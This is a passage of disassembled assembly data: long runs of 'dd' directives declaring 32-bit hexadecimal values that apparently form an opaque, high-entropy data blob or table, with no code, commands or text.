		dd 0EFC90D03h, 96EF3A06h, 0DC5ED441h, 73E0D9C8h, 0B4F179B8h
		dd 51C34A7Fh, 75CC7C6Ch, 681DDC90h, 4DD65EEAh, 8FC08AC9h
		dd 5999E756h, 0B07E4963h, 0F7F1BC8Ch, 8CD36E23h, 49E5373Dh
		dd 6A1951DFh, 40121466h, 0DC307E49h, 2BB3D35Dh,	0EB442818h
		dd 177C212Dh, 0D901D4D9h, 6F238744h, 85549654h,	26E8D9F3h
		dd 89FA771Eh, 8257B775h, 0B3A9AEC3h, 79A48124h,	3509B03Fh
		dd 0E790748Ah, 708C56BAh, 965831E0h, 4F3F580Ch,	8551E844h
		dd 2830DE2Bh, 0E223EB69h, 6AE313CAh, 0C7F40397h, 368887F3h
		dd 0D67D8AFEh, 7B358E2Dh, 97AA86BAh, 3ABA8E13h,	2DE5161Bh
		dd 47A8B778h, 9F59A485h, 7EFA7DDEh, 0E6683CEFh,	25A24317h
		dd 67659408h, 421B304Bh, 0A122BB9Ah, 3A3641CEh,	73F45DBBh
		dd 9A1776F0h, 7F88F8Eh,	19642D6Fh, 0A9019293h, 0E279860Ch
		dd 4A0ED780h, 13CA3683h, 6020E912h, 8FA90A56h, 296306D2h
		dd 9DB20B0Eh, 9898BA0Fh, 6F0558EAh, 0DF21E3D4h,	629093A2h
		dd 6CB849AFh, 65E5C284h, 0F8388773h, 0E2AE8948h, 2FEFF46Bh
		dd 14D5B420h, 0B9D298D3h, 0CA0DC376h, 0A1800D8Dh, 2DE68A4Bh
		dd 976234E0h, 0DAA37039h, 0C6FE1253h, 6D9476A7h, 0E5876142h
		dd 86FE3914h, 562B9A5Eh, 4C1D04ACh, 0E8BBB26Eh,	8968137h
		dd 20A23D00h, 7E07A847h, 0F23794A7h, 0B266D154h, 7D5A25C1h
		dd 0A17259D2h, 5E039A79h, 4D6A11DBh, 0E48E0ACCh, 963D721Fh
		dd 0A22386DEh, 15992773h, 0FF0E2B61h, 0B8FCA257h, 0AD532704h
		dd 1FB5384h, 74BAB5B9h,	288B0FFEh, 9542F13Fh, 0FDC3B4BFh
		dd 2488A91Eh, 31F442EDh, 0CC2B91AFh, 0E5E26863h, 80312AF8h
		dd 90DB8805h, 4FCCF36Dh, 49D4E770h, 0EE42F8CCh,	0C9DC882Fh
		dd 0F19743A7h, 9B0C70BDh, 0F0EA2B0Bh, 0C7FEEA75h, 96B38AAEh
		dd 0F2737813h, 0A315F6B2h, 49508812h, 17A3FEBEh, 905969FAh
		dd 0CF2B85C6h, 435C39F9h, 3E36F974h, 83738CE9h,	0C12A5Dh
		dd 5BED36B4h, 0E1BD332Dh, 99189D07h, 1F6EA50Ah,	14285566h
		dd 0FC849BC2h, 0D1E5DCBFh, 97173330h, 80743AE3h, 5FF8A9B1h
		dd 8A4C1ACBh, 30392A4Dh, 0FD796F26h, 36C0413Eh,	0E537C0FDh
		dd 5B599E08h, 0E4ACCD08h, 6CBB6025h, 0CD31755Ch, 7C8318D4h
		dd 0CD4C10ACh, 0CB9C5199h, 0B9975E56h, 2D07EF8h, 0A9217FB0h
		dd 2C719891h, 8E467B12h, 8A94418h, 0ACE56CDEh, 47CA67D8h
		dd 9EA707F7h, 6F445D99h, 0F6CBC12Bh, 6465E9C9h,	954BAE80h
		dd 34742587h, 5E20B88Dh, 0B9795E1Fh, 0CA78B9F4h, 44EBD15Bh
		dd 43ECB15Eh, 0A03A4FEAh, 1EA7B6C0h, 0C400DF3Ah, 35EC4ADDh
		dd 84C1988Ch, 0CA97BC1Dh, 3542CE06h, 0D318687Ah, 0CE961734h
		dd 490844C1h, 22FACA78h, 7027AA3Eh, 20D5830Fh, 4CC9657Ch
		dd 45AC7F43h, 6AFC3897h, 0CB5B43CBh, 0B62F9428h, 3AAD829Fh
		dd 64A37DEh, 4CB0989h, 0D7A56AD4h, 0B9199864h, 8AE5A570h
		dd 0B2B9E194h, 0E5530508h, 7EBA7F7Bh, 410A106Dh, 4EBF8ABBh
		dd 49317E6Fh, 5C1977F0h, 3F31C628h, 0BF940227h,	0C26E06ECh
		dd 41FD26E9h, 75165F11h, 0E82E61ECh, 1DDCF668h,	147D9492h
		dd 0ECDF06ECh, 0DAD45C16h, 3D18D24h, 0A5A41096h, 6F5C31E8h
		dd 472FAA14h, 0C9E41C6Eh, 4E8D4964h, 498B6DC8h,	2EBCB400h
		dd 0B7DA406h, 31F581AEh, 783CCC89h, 0F54C63CCh,	0B05E1497h
		dd 0DCBCB515h, 92445F9Ah, 0C2B211C7h, 453D842Fh, 6A81AD99h
		dd 16E813A7h, 0F628E579h, 0EC2AA4Bh, 0C2E00CC7h, 7600D53Fh
		dd 0AF9C941Eh, 99038C49h, 0AB5786BDh, 3A66F2B2h, 5BE8A5DBh
		dd 0A8492C88h, 0E358D8E6h, 0D2865A3Ah, 0E1AF1A4Ch, 9E5C06ADh
		dd 7A38C66Bh, 951669EAh, 0EE1FCD06h, 0D8855C65h, 0C263F246h
		dd 33D8793Fh, 10294841h, 52A95A4Fh, 0C64DA33Bh,	21DA3329h
		dd 76C5BC23h, 0FBDCD568h, 7868E360h, 1E8BF579h,	2A4F64F9h
		dd 0EA39881h, 0C46FB42Bh, 0A48547FDh, 0FE3E62FCh, 6517E61Ah
		dd 0A555AC5Fh, 2521C6B4h, 9B314180h, 0E2B7E1B3h, 0D4CAAC7h
		dd 0F48D6020h, 0C89CD85Eh, 0BFF772BAh, 6ADAA7B4h, 962AFBB3h
		dd 8E150FB1h, 3E533670h, 37253C2Eh, 6D0DBD0Eh, 9F038459h
		dd 590ECCC5h, 1C653C5Dh, 58998CC2h, 2FFE7C3Ch, 57ACCB63h
		dd 3D523F06h, 0A800FB98h, 86D3208h, 65BA02E3h, 27F0D926h
		dd 0FC0AD3F5h, 5178FA79h, 5F9E6EFDh, 8F3E5111h,	31F42CE8h
		dd 0D3760896h, 0FB666E56h, 92D8C7C1h, 70836D3h,	0CB21136h
		dd 7B3B6CF9h, 50EF8EE6h, 9F2E60F9h, 66F16C4Fh, 0D5C0ED00h
		dd 31953E1Bh, 0CC60E359h, 12683627h, 0B9A478D6h, 0EBD78DE1h
		dd 8520FE4Eh, 56CF90B5h, 0C48364F4h, 20199693h,	2A6D7F9Bh
		dd 2D9F0085h, 4AA83908h, 4160B859h, 6516DF98h, 9BCF77A8h
		dd 0F5CE4F88h, 4F5E0720h, 8B2483E8h, 0C0E56A93h, 0A234212Bh
		dd 8037F0CDh, 0D84CFFB0h, 7040C564h, 85CE2571h,	86ED7D70h
		dd 0B4E9373Ah, 0E5D1B777h, 0A5ED168Bh, 5706F8D8h, 961F94C9h
		dd 0C3AAD33Eh, 9D694068h, 9BE1604Dh, 699590Fh, 1FE83AF7h
		dd 31F14E69h, 80967AD7h, 343284ACh, 0F44D1220h,	9365BE05h
		dd 92CB3807h, 0B9776079h, 11161BBEh, 0C3E1B1Eh,	6938FCA7h
		dd 0B7EA4B90h, 6BD871EDh, 0DB9499C2h, 20E102F7h, 146BC240h
		dd 31AA6721h, 331CC57Eh, 0ECF273F0h, 0E87D2ED4h, 40BCC825h
		dd 0FC7AB92Bh, 0F7F07825h, 39486013h, 0B19E51E4h, 0CD7F731Ch
		dd 8848EC5Fh, 1E13C050h, 0D8ADD380h, 0A9A15A43h, 0D427C210h
		dd 3298BF8Eh, 0A08F1B7Dh, 0AC342173h, 63C65126h, 231BCDA0h
		dd 60797E54h, 0C0EFAD67h, 74E00D9Eh, 13C3206Eh,	40F93C55h
		dd 83D466DBh, 0F64FF433h, 2487BC45h, 274D018Dh,	5708E112h
		dd 0C259D4F0h, 103C1104h, 0CF7D413Fh, 0B144CE7Bh, 8A0C856Ch
		dd 0D756FCB1h, 174051E6h, 0C53EBC47h, 0ADAEABB4h, 0FE0551ACh
		dd 0FE87045Dh, 42C44951h, 0C7E4C5F0h, 703A9DF6h, 94973021h
		dd 0A900D192h, 0C33C55DAh, 0CCBE7BCAh, 96D76605h, 0A069ABBAh
		dd 1B6D03C3h, 0D70CECF2h, 919ED43Ah, 67C4E662h,	318297ACh
		dd 0EA4F1417h, 6CED299Bh, 1386C75Bh, 0B6C8221Ah, 4CD1E2F3h
		dd 0BD5D298Bh, 410A633Ah, 0B3E2C354h, 4452269h,	90C1DA5Bh
		dd 5C9EC699h, 7899C261h, 0EC58B18Bh, 0EC800120h, 43268051h
		dd 282587FEh, 0C8AD9B6Ah, 0E953DB1Fh, 3F807D96h, 0F7EB95AEh
		dd 619A1BF7h, 4FF5B6EFh, 67B67334h, 1380914Eh, 26A62AD6h
		dd 98398A2Fh, 5E3B0BEBh, 367F2ECFh, 0AD4FE26Bh,	4194D57Dh
		dd 96D5475Eh, 8CB5EE07h
		dd 79B62A7Ch, 3D8D77F0h, 0D604BF4Ch, 5952B33Ah,	21CF0E2h
		dd 29A90A7Bh, 5516EB85h, 0CEA4C164h, 0BADB48D0h, 0B0C06109h
		dd 11E8FAA9h, 0C7B049C2h, 59B5A160h, 83A61FC8h,	0CF2F460Bh
		dd 3EE4CDE6h, 91926510h, 0EBD01DDEh, 0DEC70629h, 0DA67B4C9h
		dd 0A2FB3C2Dh, 287D25DDh, 595B2E57h, 8A6F035Ch,	0A07605A8h
		dd 0B8978529h, 0EABFEE6Eh, 0D4993AFBh, 9E6215C2h, 875C17A5h
		dd 2B2E0F8h, 0B0814962h, 4787900Dh, 5251C3C2h, 66CAFB07h
		dd 1D059EBBh, 0A71CF9D2h, 0D797501Eh, 0F955106h, 65503D36h
		dd 699D91D7h, 9505A8E6h, 0CECBCF8Ah, 8EF7CF00h,	0D7EB8273h
		dd 0C9A39B2Ah, 18C90FA4h, 0FC3A9A47h, 4E41D796h, 0E22AC533h
		dd 69B203E2h, 8775BD16h, 695F5573h, 7F284C99h, 0F5B53A6Eh
		dd 0DEB206D9h, 425700D5h, 4824AF91h, 89F1F62Dh,	0C958EA35h
		dd 0BAFC4DD6h, 0D647CBF5h, 503D7E4Ah, 32F14F9Eh, 90604F66h
		dd 6AC18136h, 0BFC13FFCh, 8C16FB7Bh, 2313C14Ch,	1DC276BEh
		dd 0BAEFB024h, 646F37BFh, 0AB4F590Ch, 55646E61h, 12C8FE94h
		dd 7156F623h, 0AFEF61DBh, 28E34CCFh, 8AA17687h,	0A470FBCAh
		dd 2BC045DCh, 0C2FAE89Ch, 2BA979E0h, 0D55EF075h, 5866E6E7h
		dd 0A6DDEB44h, 8CAF14BDh, 0D602955Fh, 8E036D48h, 0B7139FAh
		dd 99AA71ACh, 7484CD6Ah, 57BDF03Eh, 3C3E4B36h, 0DFC932FFh
		dd 8FAA788Ch, 0A2667F9Ch, 24598273h, 221BDC63h,	0BBD25C61h
		dd 513B56D9h, 5CC40246h, 0D09E56A0h, 1950A334h,	0F96A8060h
		dd 3E73E590h, 1111AEB5h, 0EBC779D0h, 0BA7D2152h, 1002F630h
		dd 55A2398Ah, 4F9CCC75h, 0CCED0D8Dh, 1C5C7D40h,	61916453h
		dd 0D8206420h, 1AD766F9h, 0DE90B5EAh, 0E53652h,	68FD28FDh
		dd 20BF5904h, 0FD519EFBh, 11C15645h, 0FC686F35h, 3E334CE9h
		dd 357E399Dh, 0CF2C33FCh, 54ACD2B7h, 0ABA2212Dh, 773CC23Dh
		dd 0FE6B5A3Dh, 0E8762E82h, 0DD2A39F5h, 1C7C3746h, 0AB31FACFh
		dd 43E82E11h, 0C66F5A96h, 0F5AA67CAh, 6EC3E9ACh, 96057923h
		dd 0CA95555Eh, 7682E8CDh, 122A9D9Fh, 737A0508h,	176E79ECh
		dd 4DD262AAh, 4B1126F1h, 402ACF54h, 672253B7h, 39A58493h
		dd 0E9590E38h, 8D3ECB54h, 0DB90EB2Fh, 28824C13h, 3DD849E0h
		dd 6A0C01BAh, 0A62F8F55h, 0E710DD1Ch, 0B8F1D62Bh, 111CBD70h
		dd 0F15516ACh, 6B0EB023h, 28878E12h, 0B82BB3DFh, 43C457B5h
		dd 99DA2794h, 725764E6h, 0B937E8E1h, 59F11B1Bh,	0C27ECA75h
		dd 0E07A1383h, 0AB78503Ch, 9FC67B00h, 0EE1E79CDh, 0CE420943h
		dd 0CFF930E4h, 861E122Eh, 88161A43h, 81E8AC49h,	0E5CE5535h
		dd 643D9245h, 8366A8B9h, 9BF1CD56h, 840BDD14h, 8F2F4693h
		dd 0D7320FDCh, 4D8F549Ch, 5BB512A0h, 0D39D906Fh, 0E0295328h
		dd 29CCFA2Ah, 64294578h, 0DABCBA0h, 24CC36C0h, 7B6EB9E1h
		dd 577C504Eh, 0CF3AC365h, 0E6FE7DDh, 83B1E124h,	1CF66FA9h
		dd 0E655B0B5h, 0A46628ADh, 69B79F89h, 0BBCA7289h, 199FF650h
		dd 6A29EC3Ah, 0A2BA2506h, 736D0F6h, 0F656CFACh,	56C22B52h
		dd 364AE505h, 0DB4CDEB4h, 36D6C755h, 676EAEA2h,	3D5DD9h
		dd 0B9AE5117h, 7990CE49h, 76CC7AF1h, 855479E8h,	0F27F970h
		dd 395F8780h, 32BC499Eh, 304DD044h, 31D09E2Bh, 0AACB6E26h
		dd 0CE741E71h, 22AFAD70h, 4DF075B6h, 0EDDE8188h, 0A247DF12h
		dd 7873C879h, 51562829h, 4B1FD2E5h, 75A67DDFh, 0AEA48794h
		dd 6CF53CBEh, 4D1731D4h, 135E809h, 4BE4CD67h, 4F996DD7h
		dd 2E81C1BEh, 9BA889F4h, 80C3E72Eh, 340ED169h, 0C6B77460h
		dd 4033D743h, 881995E1h, 461D0C55h, 0ED4C2EBBh,	5F61ABDEh
		dd 6C8F24D7h, 515778C4h, 1AA8CBFh, 1C8167A7h, 1FBC73EBh
		dd 99986701h, 1D30F8F3h, 0DF9F650Dh, 0E1B5BE4Eh, 3416F19Ch
		dd 0C313628Dh, 7F46B7CFh, 37878631h, 60B243FBh,	6DA75204h
		dd 77DCEC50h, 22AD281Dh, 64700F61h, 0B775763Fh,	7214E212h
		dd 6B061407h, 0E6E2FF70h, 0EBF0A6AAh, 5F78A55Eh, 709D266h
		dd 7F0E76DCh, 1441CD5Ch, 39FD81DAh, 0D764389Ch,	392FDE6Eh
		dd 62C57C23h, 0DC6CA508h, 0DC5C52BDh, 9B60C195h, 3257EC32h
		dd 0A0699096h, 6A037ABFh, 0FB4C3D18h, 9D986964h, 3D68F97Ah
		dd 0F029E79Ah, 0BF0EC866h, 0C1C628C8h, 0D0682723h, 0F6A849A5h
		dd 7511B61Fh, 90EC6428h, 40F1782Dh, 0A9D83199h,	151CF165h
		dd 0A7168153h, 354AA0E6h, 58BA56E3h, 0AD3EDF01h, 0B554E756h
		dd 0FC82CDE1h, 0A93E59A2h, 89652791h, 32FFB85Dh, 0E292BD68h
		dd 6BFBD564h, 3FFA3A12h, 3E56DBF6h, 0AD428D51h,	0DA848B74h
		dd 3C9276D3h, 6D37CB9h,	2AFDE550h, 36D7B1E5h, 0A0B9E52Dh
		dd 0AAA5F20h, 0B5102383h, 1537812Ch, 8994CD8h, 78DBC84Fh
		dd 0F745F69Bh, 0F7B64636h, 4C72DB58h, 0E3640C35h, 3481B439h
		dd 71F37E7Bh, 0F24F7EEAh, 0B8D14D9h, 86B57880h,	1BFBB86Dh
		dd 0BF1F7E31h, 71E2F861h, 0CC934C99h, 0D40056DFh, 0E4C4559Ah
		dd 0B534A96Ah, 54E88D74h, 3F1CFCAEh, 67D49DE1h,	9CF9081Ch
		dd 0F490E428h, 99F1CA0Bh, 0CBA210D2h, 3A4B05E7h, 975AE084h
		dd 0DEACD693h, 0FA6FAC26h, 87BE7E8Fh, 9E1AE7BFh, 2E3418BBh
		dd 903D452Ah, 260FFE97h, 18D2555Fh, 49EA7694h, 41F00AE6h
		dd 8C24202Ch, 0F88DEF20h, 0AEF530C1h, 0E7165EDh, 0BB8B3FA9h
		dd 30EAF252h, 0E74DA62Eh, 0DCE9BCA8h, 0B0DA20C2h, 23298C85h
		dd 0FEA7548Fh, 7D52ED07h, 0FC870B20h, 7EBE369Bh, 0BDB315B3h
		dd 89B34664h, 75FFD2E4h, 74F89794h, 30510F63h, 0C3A28411h
		dd 0E4C889AAh, 64FE370Bh, 7EF76F30h, 97BF4DE0h,	1BFFFFC7h
		dd 506FDBC0h, 0A2FF4A6Eh, 97623C88h, 0E1353B84h, 0CE1E0192h
		dd 0BE8AA33Dh, 83FA8B5h, 0CAE778E8h, 2BD940D2h,	3631629Bh
		dd 400BAC89h, 0B0DE8889h, 9AFAB393h, 0D4C50832h, 0DD8637ABh
		dd 7403F18h, 0C58293C2h, 9534544Eh, 96DF21C6h, 3ABC700Dh
		dd 705BAF01h, 8DA21F7Bh, 9C2EFD4Ah, 0B8469EC5h,	0B6D568B6h
		dd 17FBB864h, 7904610Ch, 81CB2A38h, 0DB6D377Ch,	74AA1D5Dh
		dd 0B588937Dh, 4A57B2FBh, 0CBA6C89Ah, 1E2B19DEh, 0CA5C1941h
		dd 1F37530Dh, 2EF1701Eh, 123F5885h, 0F01BDD87h,	0EEFBA097h
		dd 53E39264h, 567D594Ah, 0E1F56485h, 590D5571h,	89DCC415h
		dd 65D0B645h, 89E991DCh, 0E4273C4Bh, 88E8E5Bh, 6106B767h
		dd 8DB02h, 0F8D54949h, 414F97E6h, 0B3D853D8h, 0FDC69485h
		dd 47367B3Dh, 6729CA11h, 60BB5740h, 0F18522D4h,	0FFDAD3h
		dd 0EE5D9EA3h, 0D2ED289Dh, 1F3507DDh, 0D27E2D4Ah, 9EE77DDCh
		dd 94662FF8h, 0CF97E6DCh, 6A688C1h, 742FB7FAh, 0C79A7A1Ah
		dd 67BAAFACh, 43B491ADh, 11125662h, 0B1CBDAB0h,	29668FE5h
		dd 29CD45BAh, 0B457446Fh, 0D2119E6Bh, 3FF3902h,	852F7A0Dh
		dd 6EEE7BD5h, 58DECCB6h, 5E8D2637h, 0FDE6A3BAh,	0F866A565h
		dd 44017234h, 0BF91DD80h, 0EAAF1336h, 24FFCE5Fh, 0F09330FAh
		dd 0F4226F93h, 44629F53h, 16B91BBFh, 1A61456h, 69C3F93Eh
		dd 750989C2h, 15C6CE46h, 1658D835h, 47F9062Bh, 489C7C2Ah
		dd 2C5A24D9h, 0FE1337FDh, 0B76382B6h, 6E45F101h, 0B78CA14Ah
		dd 0B292E787h, 406118FFh, 792F5EDCh, 0EC8DDB25h, 92351A5Fh
		dd 6D4C0E75h, 82835019h, 0C7E03875h, 9346E7D8h,	0C62BB7A1h
		dd 0C042B3E7h, 0A77125E2h, 0ADD5F5F4h, 0A2115EAFh, 0C34FA811h
		dd 3E9F55D5h, 0F9360EBBh, 3368938h, 0FCC233FEh,	9BC252AFh
		dd 8B86FCC2h, 8755166h
		dd 0E79267A2h, 0B6ABFC07h, 4BD3EB59h, 3693A684h, 0A111EC29h
		dd 72E04365h, 1F08202Dh, 6F162EEh, 0DA1D5CD4h, 8591A059h
		dd 111B3591h, 246CFC60h, 30810E89h, 0DC59EA28h,	0CEB09714h
		dd 0FC4BE1FAh, 0DBD71231h, 0D2763E1Dh, 6BB68D91h, 5708CEA6h
		dd 0E148F59h, 0C75D8847h, 84409BD8h, 4429E231h,	447E7BB7h
		dd 3267E1ABh, 5F1BE78Ah, 4B43CE9Dh, 54C5E183h, 9C3B915Bh
		dd 8BB8673Fh, 1853390Ch, 0C2516175h, 8ACC59E8h,	42ACB48h
		dd 0B76A95h, 64BDA072h,	9DD35DEDh, 1614D019h, 0EF296EA5h
		dd 53280867h, 5EE13CFCh, 105697Dh, 0A7BE0BC6h, 8648C22Eh
		dd 0BC096EBBh, 1896368h, 0D8189FDEh, 976B57B5h,	67CDB88Dh
		dd 0A42D741Bh, 7EC5F060h, 0F7456C5Fh, 1E7DBB24h, 690ACBC6h
		dd 0E3823932h, 5E7857FCh, 3FCBD45Ch, 0ED4EBFDEh, 7369EE27h
		dd 35B8CD64h, 4C3548ACh, 0DFE65F28h, 0D5652455h, 3D5F43B6h
		dd 8D8C5EF2h, 26A90887h, 1F36DD61h, 3CEAA502h, 3FBBDE63h
		dd 9D4DE745h, 65A0BA4Dh, 0C25D911Ch, 0AD79653Bh, 0A49B1668h
		dd 0B170FC87h, 0BAFED676h, 616E2826h, 0A9810BF4h, 3AFBCE64h
		dd 1373428Dh, 0D8E6BB80h, 0EA6229C1h, 287D49A6h, 7FD4B393h
		dd 0B41D0D83h, 8351F3A3h, 0C7F641B4h, 9641EB06h, 0A5885230h
		dd 94345E66h, 15C2F1A3h, 381F06A4h, 4C69F5D0h, 0B9A71C71h
		dd 0E279E94h, 37AC63D3h, 0E9E5AFBDh, 0A0ECD36h,	89AC8E8Ah
		dd 0A9B15297h, 0EB9A55F1h, 40B59686h, 6CAC6D7Fh, 689E2ACh
		dd 21D94001h, 96B3AD7h,	4DD5A64Fh, 0D567F011h, 2181F4A8h
		dd 2473E0AFh, 1A9C8087h, 32159902h, 908F2056h, 1B4D0257h
		dd 0C9E7111h, 1C946DDh,	7934096Dh, 0CE18603Fh, 0B7D3E14Bh
		dd 1A4AA045h, 11FEE690h, 978AA61h, 0FA3812C9h, 0F6C66C5h
		dd 0D8FAE876h, 776EA52h, 13DC33ACh, 0FAA33EC3h,	539BD830h
		dd 840E79E5h, 0F2D4C205h, 3EC94AFFh, 0B11834Ah,	783DE32Ch
		dd 84ACE921h, 18727A2Ch, 2766E8E8h, 80E647EFh, 0EA308953h
		dd 7FCA5728h, 0EA6811EBh, 0EA1C9132h, 0F58EF262h, 0C59221DBh
		dd 89B043Ah, 0A9083F9h,	0F62DFB3Ah, 2DC33E81h, 0F19D528h
		dd 7C969FACh, 353756AEh, 9A1FFC56h, 6E3D6D82h, 69319A7Bh
		dd 5829BDF0h, 29E74963h, 0C85C3C70h, 49A27229h,	0E71AB0C8h
		dd 1AEB834Eh, 26777FC8h, 0FF99146Dh, 80DDE429h,	359AF28Ch
		dd 4AD3DDDFh, 2DFA85ECh, 0BBCDD845h, 0FE832787h, 2DF6D91h
		dd 0A297D420h, 18BE3A19h, 41154EA5h, 4DCBF48Dh,	8C93CADEh
		dd 75C952ECh, 8068A5ACh, 0C1C26BE7h, 6B71B3B1h,	0D19C9AC9h
		dd 5DDFFD46h, 0E68A2B54h, 10AC607Eh, 0AF633BE0h, 50A3960Ch
		dd 0FBD6383Fh, 0A303C801h, 4F2BFBDFh, 0CA6222EBh, 0E2089616h
		dd 71896710h, 0C2C80018h, 6A1B2B6Dh, 0DC7ABCCDh, 0B7D8A73h
		dd 0ABE81A0h, 9487E03h,	28C5400Dh, 0D3D8631Eh, 813FB1A0h
		dd 77C3A013h, 2C22F320h, 227F9346h, 5B2DBC90h, 72603139h
		dd 5A5B15FFh, 0B6B6E558h, 0C0812F48h, 6C76BE6Ah, 2311B5C4h
		dd 440C91Bh, 8E3DF2EBh,	2A2AA6A3h, 3F8CB9C3h, 0C058967h
		dd 39FCA5F2h, 73450DDh,	0AA216AB5h, 140E8A7Ch, 6DDAE004h
		dd 9E7796C0h, 0CD89B57Fh, 3DD20BFCh, 8430BADFh,	33D649B9h
		dd 0EE4D4D1Fh, 634CEC20h, 9C24A5EEh, 79F6A6DDh,	0EC20D987h
		dd 0D910CC7Dh, 0CEEE2BCCh, 1BE020BFh, 35519362h, 770FEC78h
		dd 0B88B28A9h, 0D7E6052Bh, 5262AD0Bh, 21FF3380h, 4FA09431h
		dd 3D99A8CAh, 0E26C2F89h, 0AC912E2Fh, 53F2514Bh, 0FB077589h
		dd 2DA0879Ch, 3F959A9Bh, 9AA5684Bh, 2535518Ah, 0FF1D0405h
		dd 47C90CF1h, 0EFBD96C3h, 0CC9E767h, 90E0CAE2h,	0FBD23A19h
		dd 50E895A4h, 6BFF3B2Fh, 3EE8DBC8h, 0FE4B3F89h,	0DC568738h
		dd 8BF65F81h, 4FE3AFEh,	7B7126F1h, 2CFAAB3Ch, 0A9D8F041h
		dd 9B17A67Eh, 7D9F0550h, 0E692137Ah, 70E0F81Bh,	0F55705DDh
		dd 781D82Ah, 27D58967h,	8C47FBBAh, 0E034ED5Dh, 0E34FEA47h
		dd 0C731DB2Ch, 0C7B3F73Ch, 7DBC70E6h, 0F47D2A2Fh, 60BF9F5Ch
		dd 0BB905C27h, 0AE55C521h, 988B4981h, 0E8299115h, 1DDB8B3Bh
		dd 0B442AB57h, 28460A30h, 814E804Ah, 0FFB17DC4h, 8EDFFEB1h
		dd 0DC28C834h, 97FC15EEh, 9B8B4BE1h, 66F78631h,	0C5590FA7h
		dd 901E2ABCh, 0C08182B7h, 2D5B9807h, 9877A3Bh, 352C3EE0h
		dd 40D4C030h, 0AC325BB4h, 8BCDFD84h, 0D667B3B0h, 858B4442h
		dd 0BB52034Dh, 0B44481DEh, 0A0C6DDA2h, 17E508D6h, 0C059B166h
		dd 3F65A242h, 25A9FF95h, 9F85D432h, 0F891D601h,	7304DD0Fh
		dd 276877DBh, 0D3501D32h, 3BF8C44Ch, 5A84AE88h,	34C9B828h
		dd 0BE8E8CD9h, 1ADC68F2h, 0F41F391Dh, 3A52182Fh, 7BEE7F9h
		dd 3EF16D8Eh, 22587DA6h, 92D32004h, 431741BAh, 0C89B6F88h
		dd 0A8715CCh, 0F230DC83h, 0A0D66DCCh, 6F907CF9h, 9518005Dh
		dd 77EC21C8h, 0A163EAA8h, 0BFF6FA4Fh, 0E9ADEF8Bh, 0DCC3391h
		dd 0E1723393h, 19512D51h, 0B081C450h, 550FD65Eh, 65C1627Eh
		dd 3A7BD663h, 89650D78h, 573B1AFFh, 0EC42FF37h,	0CEEBC74Fh
		dd 39290EDDh, 4945F5A0h, 7EE147AEh, 2474E0EFh, 2FDBBEB3h
		dd 7AE6B405h, 15AC978Fh, 0B936C9E5h, 1E05F243h,	0A5E0E4BBh
		dd 4D248FFEh, 2DD365FEh, 0C3519F4Ah, 6B22CF5Ch,	44A05ED6h
		dd 0A5B749CDh, 0EA3603ADh, 0DB6F8C16h, 72BD7CDh, 5CC83A09h
		dd 79B09B5Fh, 96795A9h,	0C6B65AFAh, 0B37B2BEEh,	0BF662DE6h
		dd 0CADFE84h, 7DEA4947h, 7E7FEDF7h, 2CF350C0h, 0DDFDF43Fh
		dd 45148196h, 39B05CEh,	6D2E4517h, 0EEB60BC5h, 26F73682h
		dd 9D96E414h, 63125D1Ch, 0FEB60F3Eh, 0D8F9AABFh, 0D8CD271Dh
		dd 5E2726CFh, 4ECE31B8h, 610C305h, 0AD6372B7h, 91F11500h
		dd 7CC522E5h, 35BEB7D4h, 7382233Ch, 0E9A4363Ch,	3D658F1Eh
		dd 0D312FB79h, 0D9A26B99h, 5FB3A7D6h, 0FBA863E2h, 0AC703F29h
		dd 0A50ABD37h, 70A1BB43h, 0C2113681h, 450E7F34h, 69E844B4h
		dd 0C2EA5EC2h, 0A2AA5558h, 24F172BCh, 2D2B528Fh, 115823D0h
		dd 8CA1489Eh, 17C912DAh, 9C5816ECh, 0B2129C9Dh,	0BD71BEFAh
		dd 0D1B202AAh, 0CFF05D14h, 0F061CAB3h, 0C897F88h, 174166AEh
		dd 0E41BDCBAh, 48AFA129h, 0C112BD5Dh, 7E75A808h, 81A5801Ch
		dd 0D732BBF9h, 9648D46Dh, 32ABB0C3h, 280810E2h,	99FFEAA1h
		dd 45071573h, 0E5E3E22Dh, 0D403E053h, 94694063h, 8574CC5h
		dd 0FB4664A1h, 75E44B7Ch, 2E7C63D9h, 12332BACh,	6AE37D32h
		dd 0D174F379h, 443CE234h, 89382721h, 78D9562h, 0A0A18C96h
		dd 0B05378D7h, 8ED051E8h, 0CEF7207Fh, 0C2508964h, 227C623Eh
		dd 13BB2C71h, 52980C78h, 0D4BE23B0h, 4A96CA89h,	5F58E3Ah
		dd 5A46C7C9h, 0C558F29Fh, 19B5738h, 100F22BEh, 85005E88h
		dd 18521D26h, 28F1B040h, 7830E0F0h, 3742CC25h, 62FBC93Eh
		dd 0DC231E23h, 87C0857Bh, 0F0BEA5DDh, 63BC244h,	0F417201Ch
		dd 7B2A0BFBh, 7750A6C3h, 52021862h, 115433C8h, 0F2B16DECh
		dd 91BDE5EDh, 0B39DA96Fh, 63D35640h, 222D8E65h,	5DA19E0h
		dd 13CB8A6Ch, 0BE7BC203h, 0A7DC436Fh, 0B372F856h, 0C4E3B09Ah
		dd 0D99021ECh, 0C55BD21Dh, 0FC55FC76h, 5F11B69Fh, 99D9E9CEh
		dd 16E8B8A7h, 12376A8Eh, 0E298AA9h, 9F58668Ch, 6C419DDh
		dd 6843F3C7h, 0A1A1E22Bh, 0F8B8E3C8h, 9073B073h, 0D78EFAA7h
		dd 50E1AABBh, 189DC553h, 0B2E95837h, 0D5C078F2h, 933410Eh
		dd 97E71300h, 6688A54Fh
		dd 972818DEh, 3663AF6Eh, 0F3B00BA6h, 0A241027Ah, 6174BCBEh
		dd 40949756h, 688DDE66h, 4ACD75BFh, 0BD1E3FF4h,	8A988AB3h
		dd 8918FB51h, 0DCAB54D9h, 1FECB514h, 0D9417992h, 20B97D56h
		dd 383F18DCh, 9BDE64D9h, 0FFD128B0h, 2B459412h,	0E55FB898h
		dd 0B7F5867Ch, 0B066C748h, 308D95C0h, 0F791101Fh, 0C2AA61D2h
		dd 10CCF0B0h, 51583FE2h, 3EFAC3A3h, 0FFF7BDC0h,	282BE400h
		dd 0D5CC5AB1h, 64E202D0h, 0E664DFF0h, 0CD0A906h, 0CC88943Fh
		dd 0B81A069h, 3F215909h, 944413C9h, 0A8052FE0h,	6933A45Bh
		dd 5F48D97Eh, 96BD682h,	0D2FD64Ah, 16F11365h, 7F733092h
		dd 4BC30D32h, 171E2694h, 5EE74EB5h, 0CA799C71h,	0CD5852A1h
		dd 0DE175C04h, 59F191A3h, 0DD880171h, 0E65429F8h, 7FF8FADFh
